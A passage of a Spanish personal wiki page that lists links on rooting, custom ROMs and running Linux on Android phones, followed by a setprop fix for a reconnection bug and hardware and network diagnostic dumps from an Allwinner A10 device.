* Radios para HTC Desire: http://www.mofirouz.com/2011/03/htc-desire-radios/
* Como instalar una ROM de radio: http://forum.xda-developers.com/showpost.php?p=6580270&postcount=18
* La guía definitiva para rootear: http://forum.xda-developers.com/showthread.php?t=814381
* How to root HTC Desire: http://www.techhackz.com/2010/04/how-to-root-your-htc-desire.html
* ''Revolutionary'', la nueva manera de rootear con 1 click: http://revolutionary.io/

!!! ROMs
* How To: Load a custom ROM on the HTC Desire: http://theunlockr.com/2010/09/21/how-to-load-a-custom-rom-on-the-htc-desire-2/
* LeeDrOiD: http://forum.xda-developers.com/showthread.php?t=768703
* Cyanogen Mod: http://www.cyanogenmod.com/
* AuraxTSense: http://forum.xda-developers.com/showthread.php?t=796255
* Reflex: http://forum.xda-developers.com/showthread.php?t=1054435

!!! Haztelo tu mismo
!!!! Haz tu propia ROM (rom kitchen)
* Cook Android:
** http://cookmyrom.se/
** http://cookmyrom.co.cc/
* UOT: http://uot.dakra.lt/kitchen/
* Multikitchen: http://neophyte.vipme.com/cook/WORKED/index.html
* Modaco custom:
** 2.2: http://android.modaco.com/content/htc-desire-desire-modaco-com/317191/07-mar-fr11-with-sense-modaco-custom-rom-for-htc-desire-with-online-kitchen-2-2-froyo/
** 2.3: http://android.modaco.com/content/htc-desire-desire-modaco-com/323917/03-mar-gr26-no-sense-modaco-custom-rom-for-htc-desire-with-online-kitchen-2-3-3-gri54/
* Android RTK: http://www.androidrtk.com/
* Cyanogenmod Compiler (CMC): http://forum.xda-developers.com/showthread.php?t=1415661

!!!! Hazte tu propio tema (theme kitchen)
* Theme Kitchen: http://kitchen.imitran.com:8009/

!!!! Compílate tu kernel / sistema android
* Compilando Android paso a paso: http://www.genbetadev.com/desarrollo-aplicaciones-moviles/compilando-android-paso-a-paso

!!! Dualboot con linux
* Instalar debian: http://www.irregular-expression.com/?p=30
* Ubuntu en Android: http://nexusonehacks.net/nexus-one-hacks/how-to-install-ubuntu-on-your-nexus-oneandroid/
* Instalar Debian via Ubuntu: http://ubuntuforums.org/showthread.php?t=1413313
* Ubuntu en Desire: http://forum.xda-developers.com/showthread.php?t=723493
* Archlinux en Desire: http://forum.xda-developers.com/showthread.php?t=672647
* Debian en Android: http://www.androidfanatic.com/community-forums.html?func=view&catid=9&id=2248

!!! Linux en chroot
* Ubunto 10.10: http://forum.xda-developers.com/showthread.php?t=962023
* Hazte tu propia Debian: http://www.mayrhofer.eu.org/debian-on-android
* Debian en Android: http://www.saurik.com/id/10
* Howto Install Ubuntu On Android: http://androlinux.com/android-ubuntu-development/how-to-install-ubuntu-on-android/
* Debian easy installer: https://guardianproject.info/2011/06/18/easy-installer-for-debian-on-android/
* Backtrack: http://www.backtrack-linux.org/forums/backtrack-5-arm-topics/40619-backtrack-5-arm-droid-incredible.html
* Ubuntu Install Guide: http://forum.xda-developers.com/showthread.php?t=1390351
* Arch en Android: http://archlinuxarm.org/forum/viewtopic.php?f=27&t=1361
* Debian o Ubuntu sobre Android: http://whiteboard.ping.se/Android/Debian#init

!!! Android en PC
* Bluestacks: http://www.bluestacks.com/
** Ejemplo de uso: whatsapp en windows: http://www.android.es/tutorial-utiliza-whatsapp-desde-tu-ordenador-con-bluestacks.html

!! Miscelánea
* ppp over adb (se puede usar para teetering): http://forum.xda-developers.com/showthread.php?p=4537323

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Solventar bug conexión^^[[<editar>|$1]]^^
Hay un viejo bug de Android que hace que al reanudar el móvil, no se conecte a ninguna red. Para arreglarlo, en una consola con su o vía adb shell:
{{{
# setprop ro.ril.disable.power.collapse 1
# setprop pm.sleep_mode 2
}}}
<<showtoc>>
! Dispositivos
{{{lsmod}}}:
{{{
Module                  Size  Used by
8192cu                512561  0
mali_drm                1954  0
drm                   178356  1 mali_drm
mali                  130936  0
hdmi                   15237  0
lcd                     2706  0
disp                  219086  3 hdmi,lcd
ump                    42518  4 mali,disp
}}}

{{{cat cpuinfo}}}:
{{{
Processor       : ARMv7 Processor rev 2 (v7l)
BogoMIPS        : 1001.88
Features        : swp half thumb fastmult vfp edsp neon vfpv3
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x3
CPU part        : 0xc08
CPU revision    : 2

Hardware        : sun4i
Revision        : 0000
Serial          : 0000000000000000
}}}


{{{cat devices}}}:
{{{
Character devices:
  1 mem
  2 pty
  3 ttyp
  4 /dev/vc/0
  4 tty
  4 ttyS
  5 /dev/tty
  5 /dev/console
  5 /dev/ptmx
  7 vcs
 10 misc
 13 input
 29 fb
 81 video4linux
 89 i2c
116 alsa
128 ptm
136 pts
150 cedar_dev
180 usb
189 usb_device
216 rfcomm
226 drm
243 mali
244 hdmi
245 lcd
246 disp
247 ump
248 hidraw
249 pa_chrdev
250 ace_chrdev
251 BaseRemoteCtl
252 g2d_chrdev
253 bsg
254 rtc

Block devices:
  1 ramdisk
259 blkext
  7 loop
  8 sd
 11 sr
 65 sd
 66 sd
 67 sd
 68 sd
 69 sd
 70 sd
 71 sd
 93 nand
128 sd
129 sd
130 sd
131 sd
132 sd
133 sd
134 sd
135 sd
179 mmc
}}}

{{{cat filesystems}}}:
{{{
nodev   sysfs
nodev   rootfs
nodev   bdev
nodev   proc
nodev   cgroup
nodev   cpuset
nodev   tmpfs
nodev   devtmpfs
nodev   binfmt_misc
nodev   debugfs
nodev   securityfs
nodev   sockfs
nodev   pipefs
nodev   anon_inodefs
nodev   rpc_pipefs
nodev   configfs
nodev   devpts
        ext3
        ext2
        ext4
nodev   ramfs
        vfat
        msdos
        iso9660
nodev   nfs
nodev   cifs
        ntfs
nodev   autofs
nodev   fuse
        fuseblk
nodev   fusectl
        udf
}}}

{{{cat interrupts:}}}
{{{
           CPU0
  1:         88    sw_vic  serial
  7:          0    sw_vic  sun4i-i2c.0
  8:          0    sw_vic  sun4i-i2c.1
  9:          0    sw_vic  sun4i-i2c.2
 22:         10    sw_vic  timer0
 23:    2072601    sw_vic  aw clock event irq
 24:          0    sw_vic  sunxi-rtc alarm
 27:       1694    sw_vic  dma_irq
 32:   19150231    sw_vic  sunxi-mmc
 33:          0    sw_vic  sunxi-mmc
 35:          0    sw_vic  sunxi-mmc
 37:          0    sw_vic  nand
 38:          0    sw_vic  sw_usb_udc
 39:     260369    sw_vic  ehci_hcd:usb2
 40:    2588919    sw_vic  ehci_hcd:usb4
 44:    7041057    sw_vic  dev_name
 45:          0    sw_vic  dev_name
 46:          0    sw_vic  g2d
 47:    3518997    sw_vic  dev_name
 48:          0    sw_vic  dev_name
 53:          0    sw_vic  cedar_dev
 55:          0    sw_vic  eth0
 60:          0    sw_vic  ace_dev
 64:          0    sw_vic  ohci_hcd:usb3
 65:          0    sw_vic  ohci_hcd:usb5
 69:          0    sw_vic  mali_core_irq_handlers
 70:          0    sw_vic  mali_mmu_irq_handlers
 71:          0    sw_vic  mali_core_irq_handlers
 72:          0    sw_vic  mali_mmu_irq_handlers
Err:          0
}}}


{{{cat iomem}}}:
{{{
01c00000-01c00400 : wemac.0
01c03000-01c04000 : sw_nand
01c0a000-01c0afff : disp
01c0b000-01c0b400 : wemac.0
  01c0b000-01c0b400 : wemac
01c0c000-01c0cfff : disp
01c0d000-01c0dfff : disp
01c0f000-01c0ffff : sunxi-mmc.0
  01c0f000-01c0ffff : sunxi-mmc
01c10000-01c10fff : sunxi-mmc.1
  01c10000-01c10fff : sunxi-mmc
01c12000-01c12fff : sunxi-mmc.3
  01c12000-01c12fff : sunxi-mmc
01c16000-01c165ff : hdmi
01c1b000-01c1bfff : disp
01c20000-01c20400 : wemac.0
01c20800-01c20c00 : wemac.0
01c22c00-01c22c40 : sun4i-codec
  01c22c00-01c22c3f : sun4i-codec
01c28000-01c283ff : sunxi-uart.0
  01c28000-01c2801f : serial
01c28800-01c28bff : sunxi-uart.2
  01c28800-01c2881f : serial
01c2ac00-01c2afff : sun4i-i2c.0
  01c2ac00-01c2afff : sun4i-i2c.0
01c2b000-01c2b3ff : sun4i-i2c.1
  01c2b000-01c2b3ff : sun4i-i2c.1
01c2b400-01c2b7ff : sun4i-i2c.2
  01c2b400-01c2b7ff : sun4i-i2c.2
01c40000-01c40097 : Mali-400 GP
01c41000-01c4102f : Mali-400 L2 cache
01c42000-01c42027 : Mali-400 PMU
01c43000-01c43023 : Mali-400 MMU for GP
01c44000-01c44023 : Mali-400 MMU for PP
01c48000-01c490ef : Mali-400 PP
01e00000-01e0077f : disp
01e20000-01e2077f : disp
01e40000-01e457ff : disp
01e60000-01e657ff : disp
01e80000-01e8ffff : g2d
  01e80000-01e8ffff : g2d
40000000-5bdfffff : System RAM
  40033000-40723fff : Kernel text
  40724000-4091a8f7 : Kernel data
5be00000-5bffffff : ram_console
5c000000-5fffffff : Mali Sdram
60000000-7fffffff : System RAM
}}}


{{{cat meminfo}}}:
{{{
MemTotal:         834228 kB
MemFree:           46784 kB
Buffers:           41408 kB
Cached:           576240 kB
SwapCached:            0 kB
Active:           416036 kB
Inactive:         307040 kB
Active(anon):     105756 kB
Inactive(anon):     1964 kB
Active(file):     310280 kB
Inactive(file):   305076 kB
Unevictable:           0 kB
Mlocked:               0 kB
HighTotal:        393216 kB
HighFree:           5716 kB
LowTotal:         441012 kB
LowFree:           41068 kB
SwapTotal:             0 kB
SwapFree:              0 kB
Dirty:                16 kB
Writeback:             0 kB
AnonPages:        105444 kB
Mapped:             9972 kB
Shmem:              2292 kB
Slab:              40288 kB
SReclaimable:      31616 kB
SUnreclaim:         8672 kB
KernelStack:        1816 kB
PageTables:         3372 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:      417112 kB
Committed_AS:     835200 kB
VmallocTotal:     122880 kB
VmallocUsed:        2876 kB
VmallocChunk:      99280 kB
}}}


{{{cat misc}}}:
{{{
 52 network_throughput
 53 network_latency
 54 cpu_dma_latency
 55 log_system
 56 log_radio
 57 log_events
 58 log_main
 59 binder
 60 alarm
 61 cuse
229 fuse
235 autofs
 62 cachefiles
 63 rfkill
}}}


{{{ cat modules}}}:
{{{
8192cu 512561 0 - Live 0xbf0cc000
mali_drm 1954 0 - Live 0xbf160000
drm 178356 1 mali_drm, Live 0xbf08c000
mali 130936 0 - Live 0xbf060000
hdmi 15237 0 - Live 0xbf058000
lcd 2706 0 - Live 0xbf054000
disp 219086 3 hdmi,lcd, Live 0xbf011000
ump 42518 4 mali,disp, Live 0xbf000000
}}}


{{{cat partitions}}}:
{{{
major minor  #blocks  name

  93        0      16384 nanda
  93        8       2048 nandb
  93       16      32768 nandc
  93       24     524288 nandd
  93       32    1048576 nande
  93       40       1024 nandf
  93       48      32768 nandg
  93       56     131072 nandh
  93       64       1024 nandi
  93       72     327680 nandj
  93       80    1772544 nandk
 179        0   15637504 mmcblk0
 179        1      16384 mmcblk0p1
 179        2   14571520 mmcblk0p2
 179        3    1045568 mmcblk0p3
   8       16  976762582 sdb
   8       17   17238016 sdb1
   8       18    2097152 sdb2
   8       19  957425664 sdb3
}}}


{{{cat version}}}:
{{{
Linux version 3.0.36-t3+ (tobyc@adonai) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5) ) #19 PREEMPT Mon Aug 6 12:10:13 EST 2012
}}}


{{{cat /proc/net/rtl819xC/wlan0/all_sta_info}}}:
{{{
sta_dz_bitmap=0x0, tim_bitmap=0x0
sta's macaddr:ff:ff:ff:ff:ff:ff
rtsen=0, cts2slef=0
qos_en=0, ht_en=0, init_rate=0
state=0x0, aid=0, macid=1, raid=0
bwmode=0, ch_offset=0, sgi=0
ampdu_enable = 0
agg_enable_bitmap=0, candidate_tid_bitmap=0
sleepq_len=0
capability=0x0
flags=0x0
wpa_psk=0x0
wpa2_group_cipher=0x0
wpa2_pairwise_cipher=0x0
qos_info=0x0
dot118021XPrivacy=0x4
sta's macaddr:bc:14:01:0c:51:08
rtsen=0, cts2slef=0
qos_en=1, ht_en=1, init_rate=19
state=0x1, aid=1, macid=0, raid=0
bwmode=1, ch_offset=1, sgi=0
ampdu_enable = 1
agg_enable_bitmap=41, candidate_tid_bitmap=0
sleepq_len=0
capability=0x0
flags=0x0
wpa_psk=0x0
wpa2_group_cipher=0x0
wpa2_pairwise_cipher=0x0
qos_info=0x0
dot118021XPrivacy=0x4
tid=0, indicate_seq=1245
}}}


! Datos de red
{{{ifconfig}}}:
{{{
eth0      Link encap:Ethernet  direcciónHW 26:de:04:2b:3a:bb
          ACTIVO DIFUSIÓN MULTICAST  MTU:1500  Métrica:1
          Paquetes RX:0 errores:0 perdidos:0 overruns:0 frame:0
          Paquetes TX:0 errores:0 perdidos:0 overruns:0 carrier:0
          colisiones:0 long.colaTX:1000
          Bytes RX:0 (0.0 B)  TX bytes:0 (0.0 B)
          Interrupción:55 Dirección base: 0x8000

lo        Link encap:Bucle local
          Direc. inet:127.0.0.1  Másc:255.0.0.0
          ACTIVO BUCLE FUNCIONANDO  MTU:16436  Métrica:1
          Paquetes RX:5450 errores:0 perdidos:0 overruns:0 frame:0
          Paquetes TX:5450 errores:0 perdidos:0 overruns:0 carrier:0
          colisiones:0 long.colaTX:0
          Bytes RX:608949 (608.9 KB)  TX bytes:608949 (608.9 KB)

wlan0     Link encap:Ethernet  direcciónHW 48:02:2a:ea:7d:d4
          Direc. inet:192.168.1.2  Difus.:192.168.1.255  Másc:255.255.255.0
          ACTIVO DIFUSIÓN FUNCIONANDO MULTICAST  MTU:1500  Métrica:1
          Paquetes RX:792381 errores:0 perdidos:709210 overruns:0 frame:0
          Paquetes TX:335605 errores:0 perdidos:0 overruns:0 carrier:0
          colisiones:0 long.colaTX:1000
          Bytes RX:1212385564 (1.2 GB)  TX bytes:33324247 (33.3 MB)
}}}

{{{iwconfig}}}:
{{{
lo        no wireless extensions.

eth0      no wireless extensions.

tunl0     no wireless extensions.

wlan0     IEEE 802.11bgn  ESSID:"JAVITA"  Nickname:"<WIFI@REALTEK>"
          Mode:Managed  Frequency:2.417 GHz  Access Point: BC:14:01:0C:51:08
          Bit Rate:150 Mb/s   Sensitivity:0/0
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:****-****-****-****-****-****-****-****   Security mode:open
          Power Management:off
          Link Quality=100/100  Signal level=-45 dBm  Noise level=0 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0
}}}


! Arranque
{{{cat /proc/cmdline}}}:
{{{
console=ttyS0,115200 root=/dev/mmcblk0p2 init=/init loglevel=8 rootfstype=ext4 rootwait
}}}

{{{bin2fex /boot/evb.bin}}}:
{{{
fexc-bin: /boot/evb.bin: version: 0.1.2
fexc-bin: /boot/evb.bin: size: 42052 (74 sections)
[product]
version = "1.0"
machine = "A10-EVB-V1.2"

[target]
boot_clock = 1008
dcdc2_vol = 1400
dcdc3_vol = 1250
ldo2_vol = 3000
ldo3_vol = 2800
ldo4_vol = 2800

[card_burn_para]
card_no = 0
card_line = 4
card_mode = 0
sdc_d1 = port:PF00<2><1><default><default>
sdc_d0 = port:PF01<2><1><default><default>
sdc_clk = port:PF02<2><1><default><default>
sdc_cmd = port:PF03<2><1><default><default>
sdc_d3 = port:PF04<2><1><default><default>
sdc_d2 = port:PF05<2><1><default><default>

[card_boot]
logical_start = 40960
sprite_gpio0 =

[card_boot0_para]
card_ctrl = 0
card_high_speed = 1
card_line = 4
sdc_d1 = port:PF00<2><1><default><default>
sdc_d0 = port:PF01<2><1><default><default>
sdc_clk = port:PF02<2><1><default><default>
sdc_cmd = port:PF03<2><1><default><default>
sdc_d3 = port:PF04<2><1><default><default>
sdc_d2 = port:PF05<2><1><default><default>

[card_boot2_para]
card_ctrl = 2
card_high_speed = 1
card_line = 4
sdc_cmd = port:PC06<3><1><default><default>
sdc_clk = port:PC07<3><1><default><default>
sdc_d0 = port:PC08<3><1><default><default>
sdc_d1 = port:PC09<3><1><default><default>
sdc_d2 = port:PC10<3><1><default><default>
sdc_d3 = port:PC11<3><1><default><default>

[twi_para]
twi_port = 0
twi_scl = port:PB00<2><default><default><default>
twi_sda = port:PB01<2><default><default><default>

[uart_para]
uart_debug_port = 0
uart_debug_tx = port:PB22<2><1><default><default>
uart_debug_rx = port:PB23<2><1><default><default>

[jtag_para]
jtag_enable = 1
jtag_ms = port:PB14<3><default><default><default>
jtag_ck = port:PB15<3><default><default><default>
jtag_do = port:PB16<3><default><default><default>
jtag_di = port:PB17<3><default><default><default>

[dram_para]
dram_baseaddr = 0x40000000
dram_clk = 360
dram_type = 3
dram_rank_num =
dram_chip_density =
dram_io_width =
dram_bus_width =
dram_cas = 6
dram_zq = 0x7b
dram_odt_en = 0
dram_size = 1024
dram_tpr0 = 0x30926692
dram_tpr1 = 0x1090
dram_tpr2 = 0x1a0c8
dram_tpr3 = 0x0
dram_tpr4 = 0x0
dram_tpr5 = 0x0
dram_emr1 = 0x0
dram_emr2 = 0x0
dram_emr3 = 0x0

[mali_para]
mali_used = 1
mali_clkdiv = 3

[g2d_para]
g2d_used = 1
g2d_size = 0x1000000

[emac_para]
emac_used = 1
emac_rxd3 = port:PA00<2><default><default><default>
emac_rxd2 = port:PA01<2><default><default><default>
emac_rxd1 = port:PA02<2><default><default><default>
emac_rxd0 = port:PA03<2><default><default><default>
emac_txd3 = port:PA04<2><default><default><default>
emac_txd2 = port:PA05<2><default><default><default>
emac_txd1 = port:PA06<2><default><default><default>
emac_txd0 = port:PA07<2><default><default><default>
emac_rxclk = port:PA08<2><default><default><default>
emac_rxerr = port:PA09<2><default><default><default>
emac_rxdV = port:PA10<2><default><default><default>
emac_mdc = port:PA11<2><default><default><default>
emac_mdio = port:PA12<2><default><default><default>
emac_txen = port:PA13<2><default><default><default>
emac_txclk = port:PA14<2><default><default><default>
emac_crs = port:PA15<2><default><default><default>
emac_col = port:PA16<2><default><default><default>
emac_reset = port:PA17<1><default><default><default>

[twi0_para]
twi0_used = 1
twi0_scl = port:PB00<2><default><default><default>
twi0_sda = port:PB01<2><default><default><default>

[twi1_para]
twi1_used = 1
twi1_scl = port:PB18<2><default><default><default>
twi1_sda = port:PB19<2><default><default><default>

[twi2_para]
twi2_used = 1
twi2_scl = port:PB20<2><default><default><default>
twi2_sda = port:PB21<2><default><default><default>

[uart_para0]
uart_used = 1
uart_port = 0
uart_type = 2
uart_tx = port:PB22<2><1><default><default>
uart_rx = port:PB23<2><1><default><default>

[uart_para1]
uart_used = 0
uart_port = 1
uart_type = 8
uart_tx = port:PA10<4><1><default><default>
uart_rx = port:PA11<4><1><default><default>
uart_rts = port:PA12<4><1><default><default>
uart_cts = port:PA13<4><1><default><default>
uart_dtr = port:PA14<4><1><default><default>
uart_dsr = port:PA15<4><1><default><default>
uart_dcd = port:PA16<4><1><default><default>
uart_ring = port:PA17<4><1><default><default>

[uart_para2]
uart_used = 1
uart_port = 2
uart_type = 4
uart_tx = port:PI18<3><1><default><default>
uart_rx = port:PI19<3><1><default><default>
uart_rts = port:PI16<3><1><default><default>
uart_cts = port:PI17<3><1><default><default>

[uart_para3]
uart_used = 0
uart_port = 3
uart_type = 4
uart_tx = port:PH00<4><1><default><default>
uart_rx = port:PH01<4><1><default><default>
uart_rts = port:PH02<4><1><default><default>
uart_cts = port:PH03<4><1><default><default>

[uart_para4]
uart_used = 0
uart_port = 4
uart_type = 2
uart_tx = port:PH04<4><1><default><default>
uart_rx = port:PH05<4><1><default><default>

[uart_para5]
uart_used = 0
uart_port = 5
uart_type = 2
uart_tx = port:PH06<4><1><default><default>
uart_rx = port:PH07<4><1><default><default>

[uart_para6]
uart_used = 0
uart_port = 6
uart_type = 2
uart_tx = port:PA12<4><1><default><default>
uart_rx = port:PA13<4><1><default><default>

[uart_para7]
uart_used = 0
uart_port = 7
uart_type = 2
uart_tx = port:PA14<4><1><default><default>
uart_rx = port:PA15<4><1><default><default>

[spi0_para]
spi_used = 0
spi_cs_bitmap = 1
spi_cs0 = port:PI10<3><default><default><default>
spi_sclk = port:PI11<3><default><default><default>
spi_mosi = port:PI12<3><default><default><default>
spi_miso = port:PI13<3><default><default><default>

[spi1_para]
spi_used = 0
spi_cs_bitmap = 1
spi_cs0 = port:PA00<4><default><default><default>
spi_sclk = port:PA01<4><default><default><default>
spi_mosi = port:PA02<4><default><default><default>
spi_miso = port:PA03<4><default><default><default>

[spi2_para]
spi_used = 0
spi_cs_bitmap = 1
spi_cs0 = port:PB14<2><default><default><default>
spi_sclk = port:PB15<2><default><default><default>
spi_mosi = port:PB16<2><default><default><default>
spi_miso = port:PB17<2><default><default><default>
spi_cs0 = port:PC19<3><default><default><default>
spi_sclk = port:PC20<3><default><default><default>
spi_mosi = port:PC21<3><default><default><default>
spi_miso = port:PC22<3><default><default><default>

[spi3_para]
spi_used = 0
spi_cs_bitmap = 1
spi_cs0 = port:PA05<3><default><default><default>
spi_sclk = port:PI06<3><default><default><default>
spi_mosi = port:PI07<3><default><default><default>
spi_miso = port:PI08<3><default><default><default>
spi_cs1 = port:PA09<3><default><default><default>

[spi_devices]
spi_dev_num = 0

[spi_board0]
modalias = "aaa"
max_speed_hz = 12000000
bus_num = 1
chip_select = 0
mode = 3
full_duplex = 0
manual_cs = 0

[rtp_para]
rtp_used = 1
rtp_screen_size = 5
rtp_regidity_level = 5
rtp_press_threshold_enable = 0
rtp_press_threshold = 0x1f40
rtp_sensitive_level = 0xf
rtp_exchange_x_y_flag = 0

[ctp_para]
ctp_used = 0
ctp_name = "ft5x_ts"
ctp_twi_id = 2
ctp_twi_addr = 0x70
ctp_screen_max_x = 800
ctp_screen_max_y = 480
ctp_revert_x_flag = 0
ctp_revert_y_flag = 0
ctp_exchange_x_y_flag = 0
ctp_int_port = port:PH21<6><default><default><default>
ctp_wakeup = port:PB13<1><default><default><1>
ctp_io_port = port:PH21<0><default><default><default>

[tkey_para]
tkey_used = 0
tkey_name = "hv_keypad"
tkey_twi_id = 2
tkey_twi_addr = 0x62
tkey_int = port:PI13<6><default><default><default>

[motor_para]
motor_used = 0
motor_shake = port:PB03<1><default><default><1>

[nand_para]
nand_used = 1
nand_we = port:PC00<2><default><default><default>
nand_ale = port:PC01<2><default><default><default>
nand_cle = port:PC02<2><default><default><default>
nand_ce1 = port:PC03<2><default><default><default>
nand_ce0 = port:PC04<2><default><default><default>
nand_nre = port:PC05<2><default><default><default>
nand_rb0 = port:PC06<2><default><default><default>
nand_rb1 = port:PC07<2><default><default><default>
nand_d0 = port:PC08<2><default><default><default>
nand_d1 = port:PC09<2><default><default><default>
nand_d2 = port:PC10<2><default><default><default>
nand_d3 = port:PC11<2><default><default><default>
nand_d4 = port:PC12<2><default><default><default>
nand_d5 = port:PC13<2><default><default><default>
nand_d6 = port:PC14<2><default><default><default>
nand_d7 = port:PC15<2><default><default><default>
nand_wp = port:PC16<2><default><default><default>
nand_ce2 = port:PC17<2><default><default><default>
nand_ce3 = port:PC18<2><default><default><default>
nand_ce4 =
nand_ce5 =
nand_ce6 =
nand_ce7 =
nand_spi = port:PC23<3><default><default><default>
nand_ndqs = port:PC24<2><default><default><default>

[disp_init]
disp_init_enable = 1
disp_mode = 0
screen0_output_type = 3
screen0_output_mode = 9
screen1_output_type = 3
screen1_output_mode = 9
fb0_framebuffer_num = 2
fb0_format = 10
fb0_pixel_sequence = 0
fb0_scaler_mode_enable = 0
fb1_framebuffer_num = 2
fb1_format = 10
fb1_pixel_sequence = 0
fb1_scaler_mode_enable = 0

[lcd0_para]
lcd_used = 1
lcd_x = 800
lcd_y = 480
lcd_dclk_freq = 33
lcd_pwm_not_used = 0
lcd_pwm_ch = 0
lcd_pwm_freq = 10000
lcd_pwm_pol = 0
lcd_if = 0
lcd_hbp = 46
lcd_ht = 1055
lcd_vbp = 23
lcd_vt = 1050
lcd_hv_if = 0
lcd_hv_smode = 0
lcd_hv_s888_if = 0
lcd_hv_syuv_if = 0
lcd_hv_vspw = 0
lcd_hv_hspw = 0
lcd_lvds_ch = 0
lcd_lvds_mode = 0
lcd_lvds_bitwidth = 0
lcd_lvds_io_cross = 0
lcd_cpu_if = 0
lcd_frm = 0
lcd_io_cfg0 = 268435456
lcd_gamma_correction_en = 0
lcd_gamma_tbl_0 = 0x0
lcd_gamma_tbl_1 = 0x10101
lcd_gamma_tbl_255 = 0xffffff
lcd_bl_en_used = 1
lcd_bl_en = port:PH07<1><0><default><1>
lcd_power_used = 1
lcd_power = port:PH08<1><0><default><1>
lcd_pwm_used = 1
lcd_pwm = port:PB02<2><0><default><default>
lcd_gpio_0 =
lcd_gpio_1 =
lcd_gpio_2 =
lcd_gpio_3 =
lcdd0 = port:PD00<2><0><default><default>
lcdd1 = port:PD01<2><0><default><default>
lcdd2 = port:PD02<2><0><default><default>
lcdd3 = port:PD03<2><0><default><default>
lcdd4 = port:PD04<2><0><default><default>
lcdd5 = port:PD05<2><0><default><default>
lcdd6 = port:PD06<2><0><default><default>
lcdd7 = port:PD07<2><0><default><default>
lcdd8 = port:PD08<2><0><default><default>
lcdd9 = port:PD09<2><0><default><default>
lcdd10 = port:PD10<2><0><default><default>
lcdd11 = port:PD11<2><0><default><default>
lcdd12 = port:PD12<2><0><default><default>
lcdd13 = port:PD13<2><0><default><default>
lcdd14 = port:PD14<2><0><default><default>
lcdd15 = port:PD15<2><0><default><default>
lcdd16 = port:PD16<2><0><default><default>
lcdd17 = port:PD17<2><0><default><default>
lcdd18 = port:PD18<2><0><default><default>
lcdd19 = port:PD19<2><0><default><default>
lcdd20 = port:PD20<2><0><default><default>
lcdd21 = port:PD21<2><0><default><default>
lcdd22 = port:PD22<2><0><default><default>
lcdd23 = port:PD23<2><0><default><default>
lcdclk = port:PD24<2><0><default><default>
lcdde = port:PD25<2><0><default><default>
lcdhsync = port:PD26<2><0><default><default>
lcdvsync = port:PD27<2><0><default><default>

[lcd1_para]
lcd_used = 0
lcd_x = 0
lcd_y = 0
lcd_dclk_freq = 0
lcd_pwm_not_used = 0
lcd_pwm_ch = 1
lcd_pwm_freq = 0
lcd_pwm_pol = 0
lcd_if = 0
lcd_hbp = 0
lcd_ht = 0
lcd_vbp = 0
lcd_vt = 0
lcd_hv_if = 0
lcd_hv_smode = 0
lcd_hv_s888_if = 0
lcd_hv_syuv_if = 0
lcd_hv_vspw = 0
lcd_hv_hspw = 0
lcd_lvds_ch = 0
lcd_lvds_mode = 0
lcd_lvds_bitwidth = 0
lcd_lvds_io_cross = 0
lcd_cpu_if = 0
lcd_frm = 0
lcd_io_cfg0 = 0
lcd_gamma_correction_en = 0
lcd_gamma_tbl_0 = 0x0
lcd_gamma_tbl_1 = 0x10101
lcd_gamma_tbl_255 = 0xffffff
lcd_bl_en_used = 0
lcd_bl_en =
lcd_power_used = 0
lcd_power =
lcd_pwm_used = 1
lcd_pwm = port:PI03<2><0><default><default>
lcd_gpio_0 =
lcd_gpio_1 =
lcd_gpio_2 =
lcd_gpio_3 =
lcdd0 = port:PH00<2><0><default><default>
lcdd1 = port:PH01<2><0><default><default>
lcdd2 = port:PH02<2><0><default><default>
lcdd3 = port:PH03<2><0><default><default>
lcdd4 = port:PH04<2><0><default><default>
lcdd5 = port:PH05<2><0><default><default>
lcdd6 = port:PH06<2><0><default><default>
lcdd7 = port:PH07<2><0><default><default>
lcdd8 = port:PH08<2><0><default><default>
lcdd9 = port:PH09<2><0><default><default>
lcdd10 = port:PH10<2><0><default><default>
lcdd11 = port:PH11<2><0><default><default>
lcdd12 = port:PH12<2><0><default><default>
lcdd13 = port:PH13<2><0><default><default>
lcdd14 = port:PH14<2><0><default><default>
lcdd15 = port:PH15<2><0><default><default>
lcdd16 = port:PH16<2><0><default><default>
lcdd17 = port:PH17<2><0><default><default>
lcdd18 = port:PH18<2><0><default><default>
lcdd19 = port:PH19<2><0><default><default>
lcdd20 = port:PH20<2><0><default><default>
lcdd21 = port:PH21<2><0><default><default>
lcdd22 = port:PH22<2><0><default><default>
lcdd23 = port:PH23<2><0><default><default>
lcdclk = port:PH24<2><0><default><default>
lcdde = port:PH25<2><0><default><default>
lcdhsync = port:PH26<2><0><default><default>
lcdvsync = port:PH27<2><0><default><default>

[tv_out_dac_para]
dac_used = 1
dac0_src = 4
dac1_src = 5
dac2_src = 6
dac3_src = 0

[csi0_para]
csi_used = 1
csi_mode = 0
csi_dev_qty = 1
csi_stby_mode = 0
csi_mname = "gc0308"
csi_twi_id = 1
csi_twi_addr = 0x42
csi_if = 0
csi_vflip = 0
csi_hflip = 1
csi_iovdd = ""
csi_avdd = ""
csi_dvdd = ""
csi_flash_pol = 1
csi_mname_b = ""
csi_twi_id_b = 1
csi_twi_addr_b = 0x78
csi_if_b = 0
csi_vflip_b = 1
csi_hflip_b = 0
csi_iovdd_b = ""
csi_avdd_b = ""
csi_dvdd_b = ""
csi_flash_pol_b = 1
csi_pck = port:PE00<3><default><default><default>
csi_ck = port:PE01<3><default><default><default>
csi_hsync = port:PE02<3><default><default><default>
csi_vsync = port:PE03<3><default><default><default>
csi_d0 = port:PE04<3><default><default><default>
csi_d1 = port:PE05<3><default><default><default>
csi_d2 = port:PE06<3><default><default><default>
csi_d3 = port:PE07<3><default><default><default>
csi_d4 = port:PE08<3><default><default><default>
csi_d5 = port:PE09<3><default><default><default>
csi_d6 = port:PE10<3><default><default><default>
csi_d7 = port:PE11<3><default><default><default>
csi_d8 =
csi_d9 =
csi_d10 =
csi_d11 =
csi_d12 =
csi_d13 =
csi_d14 =
csi_d15 =
csi_reset = port:PH13<1><default><default><0>
csi_power_en =
csi_stby = port:PH16<1><default><default><0>
csi_flash =
csi_af_en =
csi_reset_b =
csi_power_en_b =
csi_stby_b =
csi_flash_b =
csi_af_en_b =

[csi1_para]
